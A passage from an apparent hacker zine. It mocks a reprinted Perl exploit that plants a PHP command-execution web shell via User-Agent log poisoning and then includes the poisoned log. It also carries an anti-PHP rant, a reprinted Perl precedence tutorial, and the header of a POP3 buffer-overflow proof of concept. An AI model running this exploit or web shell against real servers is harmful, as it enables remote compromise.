1049# shift it, shift it GOOD
1050# and don't try to tell me the following wouldn't work with a shift
1051# or do, I'll just laugh at you
1052$ACTION=urlEncode($ARGV[2]);
1053# must this be caps? we try to save those for defined constants
1054$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
1055# worse than: undef $cmd
1056# worse than: my $cmd;
1057
1058# let me introduce you to a Perl for-statement
1059# for my $i (3 .. $#ARGV) { doshit(); domoreshit(); }
1060$temp=substr($ACTION,0,1);
1061
1062if ($temp==2) { #this works with PHP5 and allow_url_fopen=On
1063 $FTP=substr($ACTION,1,length($ACTION));
1064 $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
1065 # woo quotes, everyone quotes straight variables SOONER OR LATER
1066 or die "[+] Connecting ... Could not connect to host.\n\n";
1067 print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".$FTP." HTTP/1.1\r\n";
1068 print $sock "Host: ".$serv."\r\n";
1069 print $sock "Connection: close\r\n\r\n";
1070 $out="";
1071 # undef, bitch
1072 while ($answer = <$sock>) {
1073 $out.=$answer;
1074 }
1075 # $out .= $answer while $answer = <$sock>;
1076 # or just slurp RIGHT
1077 close($sock);
1078 @temp= split /666/,$out,3;
1079 if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
1080 else {print "\r\nExploit failed...\r\n";}
1081 #ugly ugly formatting job
1082} elsif ($temp==1) { #this works if path to log files is found and u can have access to them
1083 print "[1] Injecting some code in log files ...\r\n";
1084 $CODE="<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {\$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);echo 666;die;?>";
1085 $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
1086 # sigh
1087 or die "[+] Connecting ... Could not connect to host.\n\n";
1088 print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
1089 print $sock "User-Agent: ".$CODE."\r\n";
1090 print $sock "Host: ".$serv."\r\n";
1091 # why do you interpolate vars when you shouldn't, yet don't when it's convenient?
1092 print $sock "Connection: close\r\n\r\n";
1093 close($sock);
1094
1095 # fill with possible locations
1096 my @paths= (
1097 "/var/log/httpd/access_log", #Fedora, default
1098 "/var/log/httpd/error_log", #...
1099 "../apache/logs/error.log", #Windows
1100 "../apache/logs/access.log",
1101 "../../apache/logs/error.log",
1102 "../../apache/logs/access.log",
1103 "../../../apache/logs/error.log",
1104 "../../../apache/logs/access.log", #and so on... collect some log paths, you will succeed
1105 "/etc/httpd/logs/acces_log",
1106 "/etc/httpd/logs/acces.log",
1107 "/etc/httpd/logs/error_log",
1108 "/etc/httpd/logs/error.log",
1109 "/var/www/logs/access_log",
1110 "/var/www/logs/access.log",
1111 "/usr/local/apache/logs/access_log",
1112 "/usr/local/apache/logs/access.log",
1113 "/var/log/apache/access_log",
1114 "/var/log/apache/access.log",
1115 "/var/log/access_log",
1116 "/var/www/logs/error_log",
1117 "/var/www/logs/error.log",
1118 "/usr/local/apache/logs/error_log",
1119 "/usr/local/apache/logs/error.log",
1120 "/var/log/apache/error_log",
1121 "/var/log/apache/error.log",
1122 "/var/log/access_log",
1123 "/var/log/error_log"
1124 );
1125 # ever heard of qw?
1126
1127 for ($i=0; $i<=$#paths; $i++)
1128 {
1129 $a = $i + 2;
1130 # really need to define this don't you?
1131 # just like before, and all SO FUCKING SHITTY, YOU STUPID PHP WHORE
1132 print "[".$a."] trying with ".$paths[$i]."\r\n";
1133 $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
1134 or die "[+] Connecting ... Could not connect to host.\n\n";
1135 print $sock "GET ".$path."index.php?cmd=".$cmd."&include_files[]=&include_files[1]=".urlEncode($paths[$i])." HTTP/1.1\r\n";
1136 print $sock "Host: ".$serv."\r\n";
1137 print $sock "Connection: close\r\n\r\n";
1138 $out='';
1139 # way to change your quoting style
1140 while ($answer = <$sock>) {
1141 $out.=$answer;
1142 }
1143 close($sock);
1144 @temp= split /666/,$out,3;
1145 if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
1146 # I haven't seen any of this code before....
1147 }
1148 #if you are here...
1149 print "\r\nExploit failed...\r\n";
1150} else {
1151 print "No action specified ...\r\n";
1152}
1153# congrats on trimming down the commenting and printing on the next one you released
1154# maybe I should have waited for it
1155# don't get me wrong, the code is just as shitty
1156
1157-[0x07] # Wait: PHP SUCKS ------------------------------------------------
1158
1159Time for the enlightenment. The "PHP sucks and we're telling you why"
1160orgy. This is the Perl Underground in everybody.
1161
1162<revdiablo> The earth turns, the grass grows, PHP sucks.
1163
1164First of all, what are you going to do with namespaces? PHP still does
1165not have namespaces.
1166
1167Then, what will you do with closures? PHP has no closures. Heck, it
1168doesn't even have anonymous functions. That's another thing: how will
1169you be rewriting that hash of coderefs? A hash of strings that are
1170evaled at runtime?
1171
1172And what about all those objects that aren't simple hashes?
1173
1174But let's assume you didn't use any of these slightly more advanced
1175programming techniques than the average PHP "programmer" can handle.
1176But you did use modules. You do use modules, don't you?
1177
1178PHP is a web programming language, so it must have a good HTML parser
1179ready, right? One is available, but it cannot be called good. It cannot
1180even parse processing instructions like, ehm, <?php ...?> itself.
1181
1182Another common task in web programming is sending HTML mail with a few
1183inline images. So what alternative for MIME::Lite do you have? The
1184PHP-ish solution is to build the message manually. Good luck, and have
1185fun.
1186
1187But at least it can open files over HTTP. Yes, that it can. But what do
1188you do if you want more than that? What if you want to provide POST
1189content, headers, or implement ETags? Then, you must use Curl, which
1190isn't nearly as convenient as LWP. Don't even think about having
1191something like WWW::Mechanize in PHP.
1192
1193Enough with the modules. I think I've proven my point that CPAN makes
1194Perl strong. Now let's discuss the core. In fact, let's focus on
1195something extremely elementary in programming: arrays!
1196
1197PHP's "arrays" are hashes. It does not have arrays in the sense that
1198most languages have them. You can't just translate $foo[4] = 4; $foo[2]
1199= 2; foreach $element (@foo) { print $element } to $foo[4] = 4; $foo[2]
1200= 2; foreach ($foo as $element) { print $element }. The Perl version
1201prints 24, PHP insists on 42. Yes, there is ksort(), but that isn't
1202something you can guess. It requires very in-depth knowledge of PHP.
1203And that's the one thing PHP's documentation tries to avoid :)
1204
1205Also, don't think $foo = bar() || $baz does the same in PHP. In PHP,
1206you end up with true or false. So you must write it in two separate
1207expressions.
1208
1209Exactly what makes you think and even say moving from Perl to PHP is
1210easy? It's very, very hard to un-learn concise programming and go back
1211to medieval programming times. And converting existing code is even
1212harder.
1213
1214<Brend> (Also, PHP sucks)
1215
1216Arguments and return values are extremely inconsistent
1217
1218To show this problem, here's a nice table of the functions that match a
1219user defined thing: (with something inconsistent like this, it's
1220amazing to find that the PHP documentation doesn't have such a table.
1221Maybe even PHP people will use this document, just to find out what
1222function to use :P)
1223
1224 replaces case gives s/m/x
1225offset
1226 matches with insens number arrays matches flags
1227(-1=end)
1228ereg ereg no all no array no 0
1229ereg_replace ereg str no all no no no 0
1230eregi ereg yes all no array no 0
1231eregi_replace ereg str yes all no no no 0
1232mb_ereg ereg no all no array no 0
1233mb_ereg_replace ereg str/expr no all no no yes 0
1234mb_eregi ereg yes all no array no 0
1235mb_eregi_replace ereg str yes all no no no 0
1236preg_match preg yes/no one no array yes 0
1237preg_match_all preg yes/no all no array yes 0
1238preg_replace preg str/expr yes/no n/all yes no yes 0
1239str_replace str str no all yes number no 0
1240str_ireplace str str yes all yes number no 0
1241strstr, strchr str/char no one no substr no 0
1242stristr str/char yes one no substr no 0
1243strrchr char no one no substr no -1
1244strpos str/char no one no index no n
1245stripos str/char yes one no index no n
1246strrpos char no one no index no n
1247strripos str yes one no index no -1
1248mb_strpos str no one no index no n
1249mb_strrpos str yes one no index no -1
1250
1251The problem exists for other function groups too, not just for
1252matching.
1253
1254(In Perl, all the functionality provided by the functions in this table
1255is available through a simple set of 4 operators.)
1256
1257<linuxnohow> dude, PHP sucks. plain and simple.
1258
1259PHP has no lexical scope
1260
1261Perl has lexical scope and dynamic scope. PHP doesn't have these.
1262
1263For an explanation of why lexical scope is important, see Coping with
1264Scoping.
1265
1266 PHP Perl
1267Superglobal Yes Yes
1268Global Yes Yes
1269Function local Yes Yes
1270Lexical (block local) No Yes
1271Dynamic No Yes
1272
1273<japhy> PHP sucks again.
1274
1275PHP has too many functions in the main namespace
1276
1277(Using the core binaries compiled with all possible extensions in the
1278core distribution, using recent versions in November 2003.)
1279
1280Number of PHP main functions: 3079
1281Number of Perl main functions: 206
1282
1283Median PHP function name length: 13
1284Mean PHP function name length: 13.67
1285Median Perl function name length: 6
1286Mean Perl function name length: 6.22
1287
1288Note that Perl has short syntax equivalents for some functions:
1289
1290readpipe('ls -l') ==> `ls -l`
1291glob('*.txt') ==> <*.txt>
1292readline($fh) ==> <$fh>
1293quotemeta($foo) ==> "\Q$foo"
1294lcfirst($foo) ==> "\l$foo" (lc is \L)
1295ucfirst($foo) ==> "\u$foo" (uc is \U)
1296
1297<sili> i'm there to slip in snide comments about how php sucks
1298
1299No real references or pointers
1300No idea of namespace
1301No componentization
1302Wants to be Perl, but doesn't want to be Perl
1303No standard DB interface
1304All PHP community sites are for non-programmers
1305No chained method calls (Not true anymore --tnx.nl)
1306No globals except by importation
1307Both register_globals and $_REQUEST bite
1308Arrays are hashes
1309PEAR just ain't CPAN
1310Arrays cannot be interpolated into strings
1311No "use strict" like checking of variable names
1312
1313<Juerd> php sucks
1314
1315Perl is faster than PHP
1316Perl is more versatile than PHP
1317Perl has better documentation than PHP
1318PHP lacks support for modules
1319PHP's here-docs are useless for Windows users
1320PHP lacks a consistent database API
1321PHP dangerously caches database query results
1322For graphics, PHP is practically limited to GD
1323
1324<rindolf> I think PHP is the language and has applications with
1325the worst security track on the planet.
1326<rindolf> Perl code can also be very insecure, but it's harder,
1327and also most PHP programmers are much more clueless than most Perl
1328programmers.
1329
1330Comparing PHP to CGI/Perl is pointless. Compare PHP to either
1331Apache::EmbPerl or HTML::Mason, and you are starting to get a fair
1332comparison.
1333
1334Having watched PHP develop over the years, it started out as a very
1335simple Perl replacement, but then has been slowly adding features of
1336Perl one by one, but three to five years later. In another five years,
1337it'll probably be where Perl is now.
1338
1339So why wait? With Perl, you get a mature language, and a language that
1340works as well off the web as on. And HTML::Mason and everything else in
1341the CPAN make leveraging other people's implementation a snap for
1342nearly any common task.
1343
1344PHP - it's "training wheels without the bike".
1345
1346<pH> Of course you can write complex scripts in PHP - it's Turing
1347complete. It's just painful.
1348
1349-[0x08] # School You: MJD ------------------------------------------------
1350
1351Just the FAQs: Precedence Problems
1352What is Precedence?
1353
1354What's 2+3Ã.4?
1355
1356You probably learned about this in grade school; it was fourth-grade
1357material in the New York City public school I attended. If not, that's
1358okay too; I'll explain everything.
1359
1360It's well-known that 2+3Ã.4 is 14, because you are supposed to do the
1361multiplication before the addition. 3Ã.4 is 12, and then you add the 2
1362and get 14. What you do not do is perform the operations in
1363left-to-right order; if you did that you would add 2 and 3 to get 5,
1364then multiply by 4 and get 20.
1365
1366This is just a convention about what an expression like 2+3Ã.4 means.
1367It's not an important mathematical fact; it's just a rule we set down
1368about how to interpret certain ambiguous arithmetic expressions. It
1369could have gone the other way, or we could have the rule that the
1370operations are always done left-to-right. But we don't have those
1371rules; we have the rule that says that you do the multiplication first
1372and then the addition. We say that multiplication takes precedence over
1373addition.
1374
1375What if you really do want to say `add 2 and 3, and multiply the result
1376by 4'? Then you use parentheses, like this: (2+3)Ã.4. The rule about
1377parentheses is that expressions in parentheses must always be fully
1378evaluated before anything else.
1379
1380If we always used the parentheses, we wouldn't need rules about
1381precedence. There wouldn't be any ambiguous expressions. We have
1382precedence rules because we're lazy and we like to leave out the
1383parentheses when we can. The fully-parenthesized form is always
1384unambiguous. The precedence rule tells us how to interpret a version
1385with fewer parentheses to decide what it would look like if we wrote
1386the equivalent fully-parenthesized version. In the example above:
1387
13882+(3Ã.4)
1389(2+3)Ã.4
1390
1391Is 2+3Ã.4 like (a) or like (b)?
1392
1393The precedence rule just tells us that it is like (a), not like (b).
1394
1395Rules and More Rules
1396
1397In grade school you probably learned a few more rules:
1398
1399
1400 4 Ã. 52
1401
1402Is this the same as
1403
1404
1405 (4 x 5)2 = 400
1406or 4 x (52) = 100
1407
1408? The rule is that exponentiation takes precedence over multiplication,
1409so it's the 100, and not 400.
1410
1411What about 8 - 3 + 4? Is this like (8 - 3) + 4 = 9 or 8 - (3 + 4) = 1?
1412Here the rule is a little different. Neither + nor - has precedence
1413over the other. Instead, the - and + are just done left-to-right. This
1414rule handles the case of 8 - 4 - 3 also. Is it (8 - 4) - 3 = 1 or is it
14158 - (4 - 3) = 7? Subtractions are done left-to-right, so it's 1 and not
14167. A similar left-to-right rule handles ties between * and /.
1417
1418Our rules are getting complicated now:
1419
1420. Exponentiation first
1421. Then multiplication and division, left to right
1422. Then addition and subtraction, left to right
1423
1424Maybe we can leave out the `left-to-right' part and just say that all
1425ties will be broken left-to right? No, because for exponentiation that
1426isn't true.
1427
1428223
1429
1430means 2(23) = 256, not (22)3 = 64.
1431
1432So exponentiations are resolved from upper-right to lower-left. Perl
1433uses the token ** to represent exponentiation, writing x**y instead of
1434xy . In this case x**y**z means x**(y**z), not (x**y)**z, so ** is
1435resolved right-to-left.
1436
1437Programming languages have this same notational problem, except that
1438they have it even worse than mathematics does, partly because they have
1439so many different operator symbols. For example, Perl has at least
1440seventy different operator symbols. This is a problem, because
1441communication with the compiler and with other programmers must be
1442unambiguous. You don't want to be writing something like 2+3Ã.4 and
1443have Perl compute 20 when you wanted 14, or vice versa.
1444
1445Nobody knows a really good solution to this problem, and different
1446languages solve it in different ways. For example, the language APL,
1447which has a whole lot of unfamiliar operators like and , dispenses
1448with precedence entirely and resolves them all from right to left. The
1449advantage of this is that you don't have to remember any rules, and the
1450disadvantage is that many expressions are confusing: If you write
14512*3+4, you get 14, not 10. In Lisp the issue never comes up, because in
1452Lisp the parentheses are required, and so there are no ambiguous
1453expressions. (Now you know why Lisp looks the way it does.)
1454
1455Perl, with its seventy operators, has to solve this problem somehow.
1456The strategy Perl takes (and most other programming languages as well)
1457is to take the fourth-grade system and extend it to deal with the new
1458operators. The operators are divided into many `precedence levels', and
1459certain operations, like multiplication, have higher precedence than
1460other operations, like addition. The levels are essentially arbitrary,
1461and are chosen without any deep plan, but with the hope that you will
1462be able to omit most of the parentheses most of the time and still get
1463what you want. So, for example, Perl gives * a higher precedence than
1464+, and ** a higher precedence than *, just like in grade school.
1465
1466An Explosion of Rules
1467
1468Let's see some examples of the reasons for which the precedence levels
1469are set the way they are. Suppose you wrote something like this:
1470
1471
1472 $v = $x + 3;
1473
1474This is actually ambiguous. It might mean
1475
1476
1477 ($v = $x) + 3;
1478
1479or it might mean
1480
1481
1482 $v = ($x + 3);
1483
1484The first of these is silly, because it stores the value $x into $v,
1485and then computes the value of $x+3 and then throws the result of the
1486addition away. In this case the addition was useless. The second one,
1487however, makes sense, because it does the addition first and stores the
1488result into $v. Since people write things like
1489
1490
1491 $v = $x + 3;
1492
1493all the time, and expect to get the second behavior and not the first,
1494Perl's = operator has low precedence, lower than the precedence of +,
1495so that Perl makes the second interpretation.
1496
1497Here's another example:
1498
1499
1500 $result = $x =~ /foo/;
1501
1502means this:
1503
1504
1505 $result = ($x =~ /foo/);
1506
1507which looks to see if $x contains the string foo, and stores a true or
1508false result into $result. It doesn't mean this:
1509
1510
1511 ($result = $x) =~ /foo/;
1512
1513which copies the value of $x into $result and then looks to see if
1514$result contains the string foo. In this case it's likely that the
1515programmer wanted the first meaning, not the second. But sometimes you
1516do want it to go the other way. Consider this expression:
1517
1518
1519 $p = $q =~ s/w//g;
1520
1521Again, this expression is interpreted this way:
1522
1523
1524 $p = ($q =~ s/w//g);
1525
1526All the w's are removed from $q, and the number of successful
1527substitutions is stored into $p. However, sometimes you really do want
1528the other meaning:
1529
1530
1531 ($p = $q) =~ s/w//g;
1532
1533This copies the value of $q into $p, and then removes all the w's from
1534$p, leaving $q alone. If you want this, you have to include the
1535parentheses explicitly, because = has lower precedence than =~.
1536
1537Often the rules do what you want. Consider this:
1538
1539
1540 $worked = 1 + $s =~ /pattern/;
1541
1542There are five ways to interpret this:
1543
1544($worked = 1) + ($s =~ /pattern/);
1545(($worked = 1) + $s) =~ /pattern/;
1546($worked = (1 + $s)) =~ /pattern/;
1547$worked = ((1 + $s) =~ /pattern/);
1548$worked = (1 + ($s =~ /pattern/));
1549
1550We already know that + has higher precedence than =, so it happens
1551before =, and that rules out (a) and (b).
1552
1553We also know that =~ has higher precedence than =, so that rules out
1554(c).
1555
1556To choose between (d) and (e) we need to know whether + takes
1557precedence over =~ or vice versa. (d) will convert $s to a number, add
15581 to it, convert the resulting number to a string, and do the pattern
1559match. That is a pretty silly thing to do. (e) will match $s against
1560the pattern, return a boolean result, add 1 to that result to yield the
1561number 1 or 2, and store the number into $worked. That makes a lot more
1562sense; perhaps $worked will be used later to index an array. We should
1563hope that Perl chooses interpretation (e) rather than (d). And in fact
1564that is what it does, because =~ has higher precedence than +. =~
1565behaves similarly with respect to multiplication.
1566
1567Our table of precedence is shaping up:
1568
1569
1570 1. ** (right to left)
1571 2. =~
1572 3. *, / (left to right)
1573 4. +, - (left to right)
1574 5. =
1575
1576How are multiple = resolved? Left to right, or right to left? The
1577question is whether this:
1578
1579
1580 $a = $b = $c;
1581
1582will mean this:
1583
1584
1585 ($a = $b) = $c;
1586
1587or this:
1588
1589
1590 $a = ($b = $c);
1591
1592The first one means to store the value of $b into $a, and then to store
1593the value of $c into $a; this is obviously not useful. But the second
1594one means to store the value of $c into $b, and then to store that
1595value into $a also, and that obviously is useful. So = is resolved
1596right to left.
1597
1598Why does =~ have lower precedence than **? No good reason. It's just a
1599side effect of the low precedence of =~ and the high precedence of **.
1600It's probably very rare to have =~ and ** in the same expression
1601anyway. Perl tries to get the common cases right. Here's another common
1602case:
1603
1604
1605 if ($x == 3 && $y == 4) { ... }
1606
1607Is this interpreted as:
1608
1609(($x == 3) && $y) == 4
1610($x == 3) && ($y == 4)
1611($x == ( 3 && $y)) == 4
1612$x == ((3 && $y) == 4)
1613$x == ( 3 && ($y == 4))
1614
1615We really hope that it will be (b). To make (b) come out, && will have
1616to have lower precedence than ==; if the precedence is higher we'll get
1617(c) or (d), which would be awful. So && has lower precedence than ==.
1618If this seems like an obvious decision, consider that Pascal got it
1619wrong.
1620
1621|| has precedence about the same as &&, but slightly lower, in
1622accordance with the usual convention of mathematicians, and by analogy
1623with * and +. ! has high precedence, because when people write
1624
1625
1626 !$x .....some long complicated expression....
1627
1628they almost always mean that the ! applies to the $x, not to the entire
1629long complicated expression. In fact, almost the only time they don't
1630mean this is in cases like this one:
1631
1632
1633 if (! $x->{'annoying'}) { ... }
1634
1635it would be very annoying if this were interpreted to mean
1636
1637
1638 if ((! $x)->{'annoying'}) { ... }
1639
1640The same argument we used to explain why ! has high precedence works
1641even better and explains why -> has even higher precedence. In fact, ->
1642has the highest precedence of all. If ## and @@ are any two operators
1643at all, then
1644
1645
1646 $a ## $x->$y
1647and
1648
1649 $x->$y @@ $b
1650
1651always mean
1652
1653
1654 $a ## ($x->$y)
1655and
1656
1657 ($x->$y) @@ $b
1658
1659and not
1660
1661
1662 ($a ## $x)->$y
1663or
1664
1665 $x->($y @@ $b)
1666
1667For a long time, the operator with lowest precedence was the ,
1668operator. The , operator is for evaluating two expressions in sequence.
1669For example
1670
1671
1672 $a*=2 , $c*=3
1673
1674doubles $a and triples $c. It would be a shame if you wrote something
1675like this:
1676
1677
1678 $a*=2 , $c*=3 if $change_the_variables;
1679
1680and Perl interpreted it to mean this:
1681
1682
1683 $a*= (2, $c) *= 3 if $change_the_variables;
1684
1685That would just be bizarre. The very very low precedence of , ensures
1686that you can write
1687
1688
1689 EXPR1, EXPR2
1690
1691for any two expressions at all, and be sure that they are not going to
1692get mashed together to make some nonsense expression like $a*= (2, $c)
1693*= 3.
1694
1695, is also the list constructor operator. If you want to make a list of
1696three things, you have to write
1697
1698
1699 @list = ('Gold', 'Frankincense', 'Myrrh');
1700
1701because if you left off the parentheses, like this:
1702
1703
1704 @list = 'Gold', 'Frankincense', 'Myrrh';
1705
1706what you would get would be the same as this:
1707
1708
1709 (@list = 'Gold'), 'Frankincense', 'Myrrh';
1710
1711This assigns @list to have one element (Gold) and then executes the two
1712following expressions in sequence, which is pointless. So this is a
1713prime example of a case where the default precedence rules don't do
1714what you want. But people are already in the habit of putting
1715parentheses around their list elements, so nobody minds this very much,
1716and the problem isn't really a problem at all.
1717
1718Precedence Traps and Surprises
1719
1720This very low precedence for , causes some other problems, however.
1721Consider this common idiom:
1722
1723
1724 open(F, "< $file") || die "Couldn't open $file: $!";
1725
1726This tries to open a filehandle, and if it can't it aborts the program
1727with an error message. Now watch what happens if you leave the
1728parentheses off the open call:
1729
1730
1731 open F, "< $file" || die "Couldn't open $file: $!";
1732
1733, has very low precedence, so the || takes precedence here, and Perl
1734interprets this expression as if you had written this:
1735
1736
1737 open F, ("< $file" || die "Couldn't open $file: $!");
1738
1739This is totally bizarre, because the die will only be executed when the
1740string "< $file" is false, which never happens. Since the die is
1741controlled by the string and not by the open call, the program will not
1742abort on errors the way you wanted. Here we wish that || had lower
1743precedence, so that we could write
1744
1745
1746 try to perform big long hairy complicated action || die ;
1747
1748and be sure that the || was not going to gobble up part of the action
1749the way it did in our open example. Perl 5 introduced a new version of
1750|| that has low precedence, for exactly this purpose. It's spelled or,
1751and in fact it has the lowest precedence of all Perl's operators. You
1752can write
1753
1754
1755 try to perform big long hairy complicated action or die ;
1756
1757and be quite sure that or will not gobble up part of the action the way
1758it did in our open example, whether or not you leave off the
1759parentheses. To summarize:
1760
1761
1762 open(F, "< $file") or die "Couldn't open $file: $!"; # OK
1763 open F, "< $file" or die "Couldn't open $file: $!"; # OK
1764 open(F, "< $file") || die "Couldn't open $file: $!"; # OK
1765 open F, "< $file" || die "Couldn't open $file: $!"; #
1766Whooops!
1767
1768If you use or, you're safe from this error, and if you always put in
1769the parentheses, you're safe. Pick a strategy you like and stick with
1770it.
1771
1772The other big use of || is to select a value from the first source that
1773provides it. For example:
1774
1775
1776 $directory = $opt_D || $ENV{DIRECTORY} || $DEFAULT_DIRECTORY;
1777
1778It looks to see if there was a -D command-line option specifying the
1779directory first; if not, it looks to see if the user set the DIRECTORY
1780environment variable; if neither of these is set, it uses a hard-wired
1781default directory. It gets the first value that it can, so, for
1782example, if you have the environment variable set and supply an
1783explicit -D option when you run the program, the option overrides the
1784environment variable. The precedence of || is higher than that of =, so
1785this means what we wanted:
1786
1787
1788 $directory = ($opt_D || $ENV{DIRECTORY} || $DEFAULT_DIRECTORY);
1789
1790But sometimes people have a little knowledge and end up sabotaging
1791themselves, and they write this:
1792
1793
1794 $directory = $opt_D or $ENV{DIRECTORY} or $DEFAULT_DIRECTORY;
1795
1796or has very very very low precedence, even lower than =, so Perl
1797interprets this as:
1798
1799
1800 ($directory = $opt_D) or $ENV{DIRECTORY} or $DEFAULT_DIRECTORY;
1801
1802$directory is always assigned from the command-line option, even if
1803none was set. Then the values of the expressions $ENV{DIRECTORY} and
1804$DEFAULT_DIRECTORY are thrown away. Perl's -w option will warn you
1805about this mistake if you make it. To avoid it, remember this rule of
1806thumb: use || for selecting values, and use or for controlling the flow
1807of statements.
1808
1809List Operators and Unary Operators
1810
1811A related problem is that all of Perl's `list operators' have high
1812precedence, and tend to gobble up everything to their right. (A `list
1813operator' is a Perl function that accepts a list of arguments, like
1814open as above, or print.) We already saw this problem with open. Here's
1815a similar sort of problem:
1816
1817
1818 @successes = (unlink $new, symlink $old, $new, open N, $new);
1819
1820This isn't even clear to humans. What was really meant was
1821
1822
1823 @successes = (unlink($new), symlink($old, $new), open(N,
1824$new));
1825
1826which performs the three operations in sequence and stores the three
1827success-or-failure codes into @successes. But what Perl thought we
1828meant here was something totally different:
1829
1830
1831 @successes = (unlink($new, symlink($old, $new, open(N,
1832$new))));
1833
1834It thinks that the result of the open call should be used as the third
1835argument to symlink, and that the result of symlink should be passed to
1836unlink, which will try to remove a file with that name. This won't even
1837compile, because symlink needs two arguments, not three. We saw one way
1838to dismbiguate this; another is to write it like this:
1839
1840
1841 @successes = ((unlink $new), (symlink $old, $new), (open N,
1842$new));
1843
1844Again, pick a style you like and stick with it.
1845
1846Why do Perl list operators gobble up everything to the right? Often
1847it's very handy. For example:
1848
1849
1850 @textfiles = grep -T, map "$DIRNAME/$_", readdir DIR;
1851
1852Here Perl behaves as if you had written this:
1853
1854
1855 @textfiles = grep(-T, (map("$DIRNAME/$_", (readdir(DIR)))));
1856
1857Some filenames are read from the dirhandle with readdir and the
1858resulting list is passed to map, which turns each filename into a full
1859path name and returns a list of paths. Then grep filters the list of
1860paths, extracts all the paths that refer to text files, and returns a
1861list of just the text files from the directory.
1862
1863One possibly fine point is that the parentheses might not always mean
1864what you want. For example, suppose you had this:
1865
1866
1867 print $a, $b, $c;
1868
1869Then you discover that you need to print out double the value of $a. If
1870you do this you're safe:
1871
1872
1873 print 2*$a, $b, $c;
1874
1875but if you do this, you might get a surprise:
1876
1877
1878 print (2*$a), $b, $c;
1879
1880If a list operator is followed by parentheses, Perl assumes that the
1881parentheses enclose all the arguments, so it interprets this as:
1882
1883
1884 (print (2*$a)), $b, $c;
1885
1886It prints out twice $a, but doesn't print out $b or $c at all. (Perl
1887will warn you about this if you have -w on.) To fix this, add more
1888parentheses:
1889
1890
1891 print ((2*$a), $b, $c);
1892
1893Some people will suggest that you do this instead:
1894
1895
1896 print +(2*$a), $b, $c;
1897
1898Perl does what you want here, but I think it's bad advice because it
1899looks bizarre.
1900
1901Here's a similar example:
1902
1903
1904 print @items, @more_items;
1905
1906Say we want to join up the @items with some separator, so we use join:
1907
1908
1909 print join '---', @items, @more_items;
1910
1911Oops; this is wrong; we only want to join @items, not @more_items also.
1912One way we might try to fix this is:
1913
1914
1915 print (join '---', @items), @more_items;
1916
1917This falls afoul of the problem we just saw: Perl sees the parentheses,
1918assumes that they contain the arguments of print, and never prints
1919@more_items at all. To fix, use
1920
1921
1922 print ((join '---', @items), @more_items);
1923or
1924 print join('---', @items), @more_items;
1925
1926Sometimes you won't have this problem. Some of Perl's built-in
1927functions are unary operators, which means that they always get exactly
1928one argument. defined and uc are examples. They don't have the problem
1929that the list operators have of gobbling everything to the right; the
1930only gobble one argument. Here's an example similar to the one I just
1931showed:
1932
1933
1934 print $a, $b;
1935
1936Now we decide we want to print $a in all lower case letters:
1937
1938
1939 print lc $a, $b;
1940
1941Don't we have the same problem as in the print join example? If we did,
1942it would print $b in all lower case also. But it doesn't, because lc is
1943a unary operator and only gets one argument. This doesn't need any
1944fixing.
1945
1946
1947 left terms and list operators (leftward)
1948 left ->
1949 nonassoc ++ --
1950 right **
1951 right ! ~ \ and unary + and -
1952 left =~ !~
1953 left * / % x
1954 left + - .
1955 left << >>
1956 nonassoc named unary operators
1957 nonassoc < > <= >= lt gt le ge
1958 nonassoc == != <=> eq ne cmp
1959 left &
1960 left | ^
1961 left &&
1962 left ||
1963 nonassoc .. ...
1964 right ?:
1965 right = += -= *= etc.
1966 left , =>
1967 nonassoc list operators (rightward)
1968 right not
1969 left and
1970 left or xor
1971
1972This is straight out of the perlop manual page that comes with Perl.
1973left and right mean that the operators associate to the left or the
1974right, respectively; nonassoc means that the operators don't associate
1975at all. For example, if you try to write
1976
1977
1978 $a < $b < $c
1979
1980Perl will deliver a syntax error message. Perhaps what you really meant
1981was
1982
1983
1984 $a < $b && $b < $c
1985
1986The precedence table is much too big and complicated to remember;
1987that's a problem with Perl's approach. You have to trust it to handle
1988to common cases correctly, and be prepared to deal with bizarre,
1989hard-to-find bugs when it doesn't do what you wanted. The alternatives,
1990as I mentioned before, have their own disadvantages.
1991
1992How to Remember all the Rules
1993
1994Probably the best strategy for dealing with Perl's complicated
1995precedence hierarchy is to cluster the operators in your mind:
1996
1997
1998 Arithmetic: +, -, *, /, %, **
1999
2000
2001 Bitwise: &, |, ~, <<, >>
2002
2003
2004 Logical: &&, ||, !
2005
2006
2007 Comparison: ==, !=, >=, <=, >, <
2008
2009
2010 Assignment: =, +=, -=, *=, /=, etc.
2011
2012and try to remember how the operators behave within each group. Mostly
2013the answer will be `they behave as you expect'. For example, the
2014operators in the `arithmetic' group all behave the according to the
2015rules you learned in fourth grade. The `comparison' group all have
2016about the same precedence, and you aren't allowed to mix them anyway,
2017except to say something like
2018
2019
2020 $a<$b == $c<$d
2021
2022which compares the truth values of $a<$b and $c<$d.
2023
2024Then, once you're familiar with the rather unsurprising behavior of the
2025most common groups, just use parentheses liberally everywhere else.
2026
2027-[0x09] # Who are these losers? ------------------------------------------
2028
2029#!/usr/bin/perl -w
2030#revilloC mail server PoC exploit ( for xp sp1)
2031# Discovered securma massine from MorX Security Research Team (http://www.morx.org).
2032#RevilloC is a MailServer and Proxy v 1.21 (http://www.revilloC.com)
2033#The mail server is a central point for emails coming in and going out from home or office
2034#The service will work with any standard email client that supports POP3 and SMTP.
2035#by sending a large buffer after USER commands
2036#C:\>nc 127.0.0.1 110
2037#+OK RevilloC POP3 Ready
2038#USER "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" (xp sp2)
2039#we have:
2040#access violation when reading [dddddddd].
2041#ntdll!wcsncat+0x387:
2042#7C92B3FB 8B0B MOV ECX,DWORD PTR DS:[EBX] --->EBX pointe to "\xdd"x4
2043#ECX dddddddd
2044#EAX FFFFFFFF
2045#Vendor contacted 14/01/2006 , No response,No patch.
2046#this entire document is for eductional, testing and demonstrating purpose only.
2047#greets all MorX members,undisputed,sara
2048
